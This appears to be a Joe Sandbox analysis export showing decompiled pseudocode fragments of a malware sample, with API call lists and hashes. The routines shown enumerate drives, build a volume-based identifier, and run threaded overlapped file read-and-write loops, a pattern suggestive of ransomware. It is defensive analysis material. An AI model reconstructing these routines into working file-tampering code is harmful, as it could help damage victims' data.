                                                                                  				short _v12;
                                                                                  				short _v28;
                                                                                  				char _v92;
                                                                                  				WCHAR* _t11;
                                                                                  				char _t12;
                                                                                  				void* _t14;
                                                                                  				void* _t30;
                                                                                  				WCHAR* _t31;
                                                                                  
                                                                                  				_t30 = __edx;
                                                                                  				_t11 = E00B63C1E(0x22);
                                                                                  				_t31 = _t11;
                                                                                  				if(_t31 != 0) {
                                                                                  					_t12 = E00B64962(); // executed
                                                                                  					_v8 = _t12;
                                                                                  					_t14 = E00B65846(0x539,  &_v8, 4);
                                                                                  					E00B63CA5( &_v92, 0, 0x40);
                                                                                  					E00B63DEE(_t30,  &_v92);
                                                                                  					E00B64E03(0xb7cc28, 0x712, 6, 0x10,  &_v28);
                                                                                  					_v12 = 0;
                                                                                  					_push(_v8);
                                                                                  					wsprintfW(_t31,  &_v28, E00B65846(_t14,  &_v92, E00B651F2( &_v92)));
                                                                                  					return _t31;
                                                                                  				}
                                                                                  				return _t11;
                                                                                  			}












                                                                                  0x00b6424e
                                                                                  0x00b64257
                                                                                  0x00b6425c
                                                                                  0x00b64261
                                                                                  0x00b64264
                                                                                  0x00b64269
                                                                                  0x00b64277
                                                                                  0x00b64286
                                                                                  0x00b6428f
                                                                                  0x00b642a6
                                                                                  0x00b642b0
                                                                                  0x00b642b7
                                                                                  0x00b642d4
                                                                                  0x00000000
                                                                                  0x00b642df
                                                                                  0x00b642e4

                                                                                  APIs
                                                                                    • Part of subcall function 00B63C1E: HeapCreate.KERNEL32(00000000,00100000,00000000,?,00B61AA2,?,?,00B61AD1), ref: 00B63C33
                                                                                    • Part of subcall function 00B63C1E: GetProcessHeap.KERNEL32(?,00B61AA2,?,?,00B61AD1), ref: 00B63C42
                                                                                    • Part of subcall function 00B64962: GetVolumeInformationW.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000022,?,00B64269,00000000,00000001), ref: 00B64985
                                                                                  • wsprintfW.USER32 ref: 00B642D4
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Heap$CreateInformationProcessVolumewsprintf
                                                                                  • String ID:
                                                                                  • API String ID: 2230357944-0
                                                                                  • Opcode ID: ed82943c6e7066a12ed03db60a10dbe29533302411df77b5da6922a060e05f8e
                                                                                  • Instruction ID: fc55ab0689ff1ab6358e9d3a8687abfbd22930bc23a85294dcc5d6ea6f93889b
                                                                                  • Opcode Fuzzy Hash: ed82943c6e7066a12ed03db60a10dbe29533302411df77b5da6922a060e05f8e
                                                                                  • Instruction Fuzzy Hash: B10121B2D406087AE711ABE48C43FEFB7ECDB45B00F0005A6FB04F7186EA695A6547A5
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 73%
                                                                                  			E00B665E2(void* _a4) {
                                                                                  				short _v6;
                                                                                  				char _v20;
                                                                                  				WCHAR* _t11;
                                                                                  				int _t17;
                                                                                  				signed int _t24;
                                                                                  				void* _t31;
                                                                                  				WCHAR* _t33;
                                                                                  
                                                                                  				_t11 = E00B63C1E(0xfffe); // executed
                                                                                  				_t33 = _t11;
                                                                                  				if(_t33 == 0) {
                                                                                  					return _t11;
                                                                                  				}
                                                                                  				E00B64E03(0xb7cc28, 0x343, 0xc, 0xe,  &_v20);
                                                                                  				_v6 = 0;
                                                                                  				E00B6515C(_t33,  &_v20);
                                                                                  				_t31 = 0x5a;
                                                                                  				while(1) {
                                                                                  					_push(_t33);
                                                                                  					if( *(_t33 + 8) > _t31) {
                                                                                  						break;
                                                                                  					}
                                                                                  					_t17 = GetDriveTypeW(); // executed
                                                                                  					if(_t17 + 0xfffffffe <= 2) {
                                                                                  						E00B66299(_t33, _a4); // executed
                                                                                  						_t24 =  *(_t33 + 8) & 0x0000ffff;
                                                                                  						if(_t24 >= 0x61 && _t24 <= 0x7a) {
                                                                                  							 *(_t33 + 8) = _t24 & 0x0000ffdf;
                                                                                  						}
                                                                                  					}
                                                                                  					 *(_t33 + 8) =  *(_t33 + 8) + 1;
                                                                                  					 *((short*)(_t33 + 0xe)) = 0;
                                                                                  				}
                                                                                  				E00B63C6B();
                                                                                  				return 1;
                                                                                  			}










                                                                                  0x00b665ee
                                                                                  0x00b665f3
                                                                                  0x00b665f8
                                                                                  0x00b66679
                                                                                  0x00b66679
                                                                                  0x00b6660d
                                                                                  0x00b66614
                                                                                  0x00b6661d
                                                                                  0x00b66627
                                                                                  0x00b66664
                                                                                  0x00b66664
                                                                                  0x00b66669
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6662a
                                                                                  0x00b66636
                                                                                  0x00b6663c
                                                                                  0x00b66641
                                                                                  0x00b6664a
                                                                                  0x00b66656
                                                                                  0x00b66656
                                                                                  0x00b6664a
                                                                                  0x00b6665a
                                                                                  0x00b66660
                                                                                  0x00b66660
                                                                                  0x00b6666b
                                                                                  0x00000000

                                                                                  APIs
                                                                                    • Part of subcall function 00B63C1E: HeapCreate.KERNEL32(00000000,00100000,00000000,?,00B61AA2,?,?,00B61AD1), ref: 00B63C33
                                                                                    • Part of subcall function 00B63C1E: GetProcessHeap.KERNEL32(?,00B61AA2,?,?,00B61AD1), ref: 00B63C42
                                                                                  • GetDriveTypeW.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,?,?,00B62C1F,?,?,?,?,00000000), ref: 00B6662A
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Heap$CreateDriveProcessType
                                                                                  • String ID:
                                                                                  • API String ID: 1501148493-0
                                                                                  • Opcode ID: 790d069e60a4203afdf6a6052926edcb079bec4fab84266c25ffec664fd2175d
                                                                                  • Instruction ID: 0d4987536f42deb74740a424ab3c62e95dbf01c76b72a3ce7ed096612cbdf073
                                                                                  • Opcode Fuzzy Hash: 790d069e60a4203afdf6a6052926edcb079bec4fab84266c25ffec664fd2175d
                                                                                  • Instruction Fuzzy Hash: 47014923950A1566E330B7B4FC03AFF77E8EF02B21F1049AAF469D54D1E568D98043A6
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 88%
                                                                                  			E00B62DA9(intOrPtr _a4, intOrPtr _a8) {
                                                                                  				long _t8;
                                                                                  				intOrPtr _t10;
                                                                                  				intOrPtr _t14;
                                                                                  				intOrPtr _t17;
                                                                                  				void* _t18;
                                                                                  				void* _t19;
                                                                                  				intOrPtr _t21;
                                                                                  
                                                                                  				_t17 = _a4;
                                                                                  				 *((intOrPtr*)(_t17 + 0x14c)) = _a8;
                                                                                  				if( *0xb7d794 != 0) {
                                                                                  					_t14 =  *((intOrPtr*)(_t17 + 0x24));
                                                                                  					_t10 =  *((intOrPtr*)(_t17 + 0x20));
                                                                                  					_t21 = _t14;
                                                                                  					if(_t21 >= 0 && (_t21 > 0 || _t10 > 0x100000)) {
                                                                                  						asm("sbb ecx, 0x0");
                                                                                  						_push(_t14);
                                                                                  						E00B66265(_t17, _t10 - 0x100000);
                                                                                  						_t18 = _t18 + 0xc;
                                                                                  					}
                                                                                  				}
                                                                                  				_t16 = _t17 + 0x28;
                                                                                  				_t8 = E00B6627F(_t17, _t17 + 0x28, 0xe4); // executed
                                                                                  				_t19 = _t18 + 0xc;
                                                                                  				while(_t8 == 0) {
                                                                                  					_t8 = RtlGetLastWin32Error();
                                                                                  					if(_t8 == 0x3e5) {
                                                                                  						break;
                                                                                  					}
                                                                                  					E00B64954(_t8, 0x64);
                                                                                  					_t8 = E00B6627F(_t17, _t16, 0xe4);
                                                                                  					_t19 = _t19 + 0x10;
                                                                                  				}
                                                                                  				return _t8;
                                                                                  			}










                                                                                  0x00b62db1
                                                                                  0x00b62db5
                                                                                  0x00b62dc2
                                                                                  0x00b62dc4
                                                                                  0x00b62dc7
                                                                                  0x00b62dca
                                                                                  0x00b62dcc
                                                                                  0x00b62ddb
                                                                                  0x00b62dde
                                                                                  0x00b62de1
                                                                                  0x00b62de6
                                                                                  0x00b62de6
                                                                                  0x00b62dcc
                                                                                  0x00b62dee
                                                                                  0x00b62df4
                                                                                  0x00b62df9
                                                                                  0x00b62e1c
                                                                                  0x00b62dfe
                                                                                  0x00b62e08
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b62e0c
                                                                                  0x00b62e14
                                                                                  0x00b62e19
                                                                                  0x00b62e19
                                                                                  0x00b62e24

                                                                                  APIs
                                                                                  • RtlGetLastWin32Error.NTDLL ref: 00B62DFE
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: ErrorLastWin32
                                                                                  • String ID:
                                                                                  • API String ID: 3973360955-0
                                                                                  • Opcode ID: a59f93a95b9091de0e52007726b840d4049df03e822a45e220eaa9bd15b7a99a
                                                                                  • Instruction ID: 42ee70fffdbf73381e9a1dbd7fb3691fa8383fc33e6e25524259ac676657e6f6
                                                                                  • Opcode Fuzzy Hash: a59f93a95b9091de0e52007726b840d4049df03e822a45e220eaa9bd15b7a99a
                                                                                  • Instruction Fuzzy Hash: 65014936601A007BF7286769CC52FAB37DCDB99304F0044B9F909D7181E629AD008762
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 86%
                                                                                  			E00B62D3C(void* __edx, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
                                                                                  				long _t16;
                                                                                  				void* _t18;
                                                                                  				intOrPtr _t20;
                                                                                  				void* _t21;
                                                                                  				void* _t22;
                                                                                  
                                                                                  				_t18 = __edx;
                                                                                  				_t20 = _a4;
                                                                                  				E00B66F5D(_t20 + 0x10c, _t20 + 0x154, _t20 + 0x154, _a8);
                                                                                  				 *((intOrPtr*)(_t20 + 0x14c)) = _a12;
                                                                                  				asm("cdq");
                                                                                  				_push(_t18);
                                                                                  				E00B66265(_t20,  ~_a8);
                                                                                  				_t16 = E00B6627F(_t20, _t19, _a8); // executed
                                                                                  				_t22 = _t21 + 0x28;
                                                                                  				while(_t16 == 0) {
                                                                                  					_t16 = RtlGetLastWin32Error();
                                                                                  					if(_t16 != 0x3e5) {
                                                                                  						E00B64954(_t16, 0x64);
                                                                                  						_t16 = E00B6627F(_t20, _t19, _a8);
                                                                                  						_t22 = _t22 + 0x10;
                                                                                  						continue;
                                                                                  					}
                                                                                  					break;
                                                                                  				}
                                                                                  				return _t16;
                                                                                  			}








                                                                                  0x00b62d3c
                                                                                  0x00b62d40
                                                                                  0x00b62d56
                                                                                  0x00b62d5e
                                                                                  0x00b62d69
                                                                                  0x00b62d6a
                                                                                  0x00b62d6d
                                                                                  0x00b62d77
                                                                                  0x00b62d7c
                                                                                  0x00b62da1
                                                                                  0x00b62d81
                                                                                  0x00b62d8b
                                                                                  0x00b62d8f
                                                                                  0x00b62d99
                                                                                  0x00b62d9e
                                                                                  0x00000000
                                                                                  0x00b62d9e
                                                                                  0x00000000
                                                                                  0x00b62d8b
                                                                                  0x00b62da8

                                                                                  APIs
                                                                                    • Part of subcall function 00B6627F: WriteFile.KERNEL32(?,?,00B62CE1,00000000,?,?,00B62D7C,?,?,?,?,?,?,?,?,?), ref: 00B66291
                                                                                  • RtlGetLastWin32Error.NTDLL ref: 00B62D81
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: ErrorFileLastWin32Write
                                                                                  • String ID:
                                                                                  • API String ID: 2457671358-0
                                                                                  • Opcode ID: e651ca239263f562b5b36e300a3c647eee26a870f69e9208d7fc9b7dbd2a444e
                                                                                  • Instruction ID: 96f86697deb28a64a73effe3c3bbcdccff152e9a0ec5af0363198652951bad71
                                                                                  • Opcode Fuzzy Hash: e651ca239263f562b5b36e300a3c647eee26a870f69e9208d7fc9b7dbd2a444e
                                                                                  • Instruction Fuzzy Hash: C3F0C272400A197BEB106BA5CC06DEB37ECDFD6310F004054F92886101D638A6108BA2
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B6610E(void* __eflags, intOrPtr* _a4, intOrPtr _a8, long _a12, intOrPtr _a16) {
                                                                                  				intOrPtr _t7;
                                                                                  				void* _t8;
                                                                                  				void* _t9;
                                                                                  				intOrPtr* _t21;
                                                                                  
                                                                                  				_t7 = E00B63BDD(_a8); // executed
                                                                                  				_t21 = _a4;
                                                                                  				 *_t21 = _t7;
                                                                                  				if(_t7 != 0) {
                                                                                  					_t8 = CreateIoCompletionPort(0xffffffff, 0, 0, _a12);
                                                                                  					 *(_t21 + 4) = _t8;
                                                                                  					if(_t8 != 0) {
                                                                                  						_t9 = E00B660BE(_t21, _a16); // executed
                                                                                  						if(_t9 != 0) {
                                                                                  							return 1;
                                                                                  						}
                                                                                  						E00B63BFA( *_t21);
                                                                                  						_t6 = _t21 + 4; // 0xe8560cec
                                                                                  						E00B63DB7( *_t6);
                                                                                  						L4:
                                                                                  						goto L1;
                                                                                  					}
                                                                                  					E00B63BFA( *_t21);
                                                                                  					goto L4;
                                                                                  				}
                                                                                  				L1:
                                                                                  				return 0;
                                                                                  			}







                                                                                  0x00b66115
                                                                                  0x00b6611a
                                                                                  0x00b6611e
                                                                                  0x00b66122
                                                                                  0x00b66131
                                                                                  0x00b66137
                                                                                  0x00b6613c
                                                                                  0x00b6614c
                                                                                  0x00b66155
                                                                                  0x00000000
                                                                                  0x00b6616b
                                                                                  0x00b66159
                                                                                  0x00b6615e
                                                                                  0x00b66161
                                                                                  0x00b66145
                                                                                  0x00000000
                                                                                  0x00b66145
                                                                                  0x00b66140
                                                                                  0x00000000
                                                                                  0x00b66140
                                                                                  0x00b66124
                                                                                  0x00000000

                                                                                  APIs
                                                                                    • Part of subcall function 00B63BDD: HeapCreate.KERNEL32(00000000,00000000,00000000,?,00B6611A,00000000,00000000,?,00B62BD7,?,00000000,00000000), ref: 00B63BF2
                                                                                  • CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000,00000000,?,00B62BD7,?,00000000,00000000,00B62C76,00000000), ref: 00B66131
                                                                                    • Part of subcall function 00B660BE: CreateThread.KERNEL32(00000000,00000000,00000000,00B62C76,00000000,00000000), ref: 00B660E2
                                                                                    • Part of subcall function 00B63BFA: HeapDestroy.KERNELBASE(?,?,00B65426,?,?,00B7D75C,00000000,00000000,?,00B613EC,00B7D738,?,00000000), ref: 00B63C00
                                                                                    • Part of subcall function 00B63DB7: FindCloseChangeNotification.KERNEL32(00000000), ref: 00B63DC3
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Create$Heap$ChangeCloseCompletionDestroyFindNotificationPortThread
                                                                                  • String ID:
                                                                                  • API String ID: 1739922738-0
                                                                                  • Opcode ID: 42cf2a89c664225630de7e2a0dab9b6061a9c04a0fe065beb43bd3876d8ade4d
                                                                                  • Instruction ID: a84f4088ae3c295a9110ad82bf554700dbb8d50e9a98743f68d5a3c73d40b3b4
                                                                                  • Opcode Fuzzy Hash: 42cf2a89c664225630de7e2a0dab9b6061a9c04a0fe065beb43bd3876d8ade4d
                                                                                  • Instruction Fuzzy Hash: 69F09636104206FBDF116F24EC01A563BD8EF12771B2014BDF86AE5092EB2AD5505B40
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B6605F(intOrPtr* _a4, intOrPtr* _a8) {
                                                                                  				void* _t13;
                                                                                  				long _t18;
                                                                                  				intOrPtr* _t19;
                                                                                  
                                                                                  				 *_a8 = 1;
                                                                                  				_t18 = 0; // executed
                                                                                  				_t9 = E00B64634(); // executed
                                                                                  				_t19 = _a4;
                                                                                  				if((_t9 & 0x7fffffff) > 0) {
                                                                                  					do {
                                                                                  						PostQueuedCompletionStatus( *(_t19 + 4), 0, 0, 0);
                                                                                  						_t18 = _t18 + 1;
                                                                                  						_t13 = E00B64634();
                                                                                  						_t9 = _t13 + _t13;
                                                                                  					} while (_t18 < _t13 + _t13);
                                                                                  					L4:
                                                                                  					while( *((intOrPtr*)(_t19 + 8)) != 0) {
                                                                                  						_t9 = E00B64954(_t9, 0x64);
                                                                                  					}
                                                                                  					E00B63BFA( *_t19); // executed
                                                                                  					return E00B63DB7( *(_t19 + 4));
                                                                                  				}
                                                                                  				goto L4;
                                                                                  			}






                                                                                  0x00b6606a
                                                                                  0x00b66070
                                                                                  0x00b66072
                                                                                  0x00b66077
                                                                                  0x00b6607f
                                                                                  0x00b66081
                                                                                  0x00b66087
                                                                                  0x00b6608d
                                                                                  0x00b6608e
                                                                                  0x00b66093
                                                                                  0x00b66095
                                                                                  0x00000000
                                                                                  0x00b660a3
                                                                                  0x00b6609d
                                                                                  0x00b660a2
                                                                                  0x00b660aa
                                                                                  0x00b660bd
                                                                                  0x00b660bd
                                                                                  0x00000000

                                                                                  APIs
                                                                                    • Part of subcall function 00B64634: GetSystemInfo.KERNEL32(00B62C76,00B62C76,?,?,00B62BD7,?,00000000,00000000,00B62C76,00000000), ref: 00B6463E
                                                                                  • PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,?,00B62C6C,?,00B7D490,?,?,?,00000000), ref: 00B66087
                                                                                    • Part of subcall function 00B64954: Sleep.KERNEL32(?,?,00B660A2,00000064,00000000,00000000,?,?,00B62C6C,?,00B7D490,?,?,?,00000000), ref: 00B6495A
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: CompletionInfoPostQueuedSleepStatusSystem
                                                                                  • String ID:
                                                                                  • API String ID: 883128096-0
                                                                                  • Opcode ID: bd6dffc1ff652a4aa8a857fc1bb566cbf62ded989669603c6f49fd90b343b854
                                                                                  • Instruction ID: fc13190873be98bebed192056f2ff27679b599168ebac5e8c7e5b622f1e84ac9
                                                                                  • Opcode Fuzzy Hash: bd6dffc1ff652a4aa8a857fc1bb566cbf62ded989669603c6f49fd90b343b854
                                                                                  • Instruction Fuzzy Hash: 75F0E972104304AFEB157F24ECC2A1B77DDEF007B4B1000BDF52986091DF3AAC408A10
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B660BE(void* _a4, _Unknown_base(*)()* _a8) {
                                                                                  				signed int _t8;
                                                                                  				void* _t11;
                                                                                  				void* _t14;
                                                                                  				struct _SECURITY_ATTRIBUTES* _t18;
                                                                                  				void* _t19;
                                                                                  
                                                                                  				_t19 = _a4;
                                                                                  				_t18 = 0;
                                                                                  				 *((intOrPtr*)(_t19 + 8)) = 0;
                                                                                  				_t8 = E00B64634(); // executed
                                                                                  				if((_t8 & 0x7fffffff) <= 0) {
                                                                                  					L3:
                                                                                  					return 1;
                                                                                  				} else {
                                                                                  					goto L1;
                                                                                  				}
                                                                                  				while(1) {
                                                                                  					L1:
                                                                                  					_t11 = CreateThread(0, 0, _a8, _t19, 0, 0); // executed
                                                                                  					if(_t11 == 0) {
                                                                                  						break;
                                                                                  					}
                                                                                  					 *((intOrPtr*)(_t19 + 8)) =  *((intOrPtr*)(_t19 + 8)) + 1;
                                                                                  					E00B63DB7(_t11); // executed
                                                                                  					_t18 =  &(_t18->nLength); // executed
                                                                                  					_t14 = E00B64634(); // executed
                                                                                  					if(_t18 < _t14 + _t14) {
                                                                                  						continue;
                                                                                  					}
                                                                                  					goto L3;
                                                                                  				}
                                                                                  				return 0;
                                                                                  			}








                                                                                  0x00b660c3
                                                                                  0x00b660c9
                                                                                  0x00b660cb
                                                                                  0x00b660ce
                                                                                  0x00b660d8
                                                                                  0x00b66102
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b660da
                                                                                  0x00b660da
                                                                                  0x00b660e2
                                                                                  0x00b660ea
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b660ec
                                                                                  0x00b660f0
                                                                                  0x00b660f6
                                                                                  0x00b660f7
                                                                                  0x00b66100
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b66100
                                                                                  0x00000000

                                                                                  APIs
                                                                                    • Part of subcall function 00B64634: GetSystemInfo.KERNEL32(00B62C76,00B62C76,?,?,00B62BD7,?,00000000,00000000,00B62C76,00000000), ref: 00B6463E
                                                                                  • CreateThread.KERNEL32(00000000,00000000,00000000,00B62C76,00000000,00000000), ref: 00B660E2
                                                                                    • Part of subcall function 00B63DB7: FindCloseChangeNotification.KERNEL32(00000000), ref: 00B63DC3
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: ChangeCloseCreateFindInfoNotificationSystemThread
                                                                                  • String ID:
                                                                                  • API String ID: 908986755-0
                                                                                  • Opcode ID: 77ea6b6a34f4e9427395bb7a555fc3d04b3611e85721df0f1ec93e3d23266cf8
                                                                                  • Instruction ID: 6f1b6fa0d9c2b2b3448c50357fc0417e32816c0c1a75555ca71a412a39808d7d
                                                                                  • Opcode Fuzzy Hash: 77ea6b6a34f4e9427395bb7a555fc3d04b3611e85721df0f1ec93e3d23266cf8
                                                                                  • Instruction Fuzzy Hash: A7F0E5B2A002487F9B002A76DCC5C7BB7DCDE463B931054BAF52AC2012DE39DC409670
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B661EA(intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16, long _a20, long _a24, long _a28) {
                                                                                  				void* _t17;
                                                                                  				intOrPtr _t18;
                                                                                  				intOrPtr _t27;
                                                                                  
                                                                                  				_t27 = _a4;
                                                                                  				 *((intOrPtr*)(_t27 + 0xc)) = 0;
                                                                                  				 *((intOrPtr*)(_t27 + 8)) = 0;
                                                                                  				_t17 = CreateFileW(_a8, _a20, _a24, 0, _a28, 0x48000000, 0); // executed
                                                                                  				 *(_t27 + 0x14) = _t17;
                                                                                  				if(_t17 != 0xffffffff) {
                                                                                  					_t18 = E00B651B7(_a8); // executed
                                                                                  					 *((intOrPtr*)(_t27 + 0x18)) = _t18;
                                                                                  					if(_t18 != 0) {
                                                                                  						 *((intOrPtr*)(_t27 + 0x20)) = _a12;
                                                                                  						 *((intOrPtr*)(_t27 + 0x24)) = _a16;
                                                                                  						return 1;
                                                                                  					}
                                                                                  					E00B63DB7( *(_t27 + 0x14));
                                                                                  				}
                                                                                  				return 0;
                                                                                  			}






                                                                                  0x00b661ee
                                                                                  0x00b661fc
                                                                                  0x00b66203
                                                                                  0x00b6620c
                                                                                  0x00b66212
                                                                                  0x00b66218
                                                                                  0x00b66221
                                                                                  0x00b66226
                                                                                  0x00b6622c
                                                                                  0x00b6623c
                                                                                  0x00b66242
                                                                                  0x00000000
                                                                                  0x00b66247
                                                                                  0x00b66231
                                                                                  0x00b66236
                                                                                  0x00000000

                                                                                  APIs
                                                                                  • CreateFileW.KERNEL32(C0000000,?,00000000,00000000,00B62963,48000000,00000000,00000000,?,00B62963,00000000,?,00000003,00000000,C0000000,00000000), ref: 00B6620C
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: CreateFile
                                                                                  • String ID:
                                                                                  • API String ID: 823142352-0
                                                                                  • Opcode ID: 67bae88a8d4204527570b8384e0ee6c7a70ca2126bbb20a99d96f4d10afd8cf7
                                                                                  • Instruction ID: c78f9cfcef93d7956b897756c2eaf706e13f520b25c3b5e160378cdd660badc2
                                                                                  • Opcode Fuzzy Hash: 67bae88a8d4204527570b8384e0ee6c7a70ca2126bbb20a99d96f4d10afd8cf7
                                                                                  • Instruction Fuzzy Hash: 2B0144B5410705AFDB209F34DC008A67BE5FF19724B104A69FC56D3650E735E9209F90
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
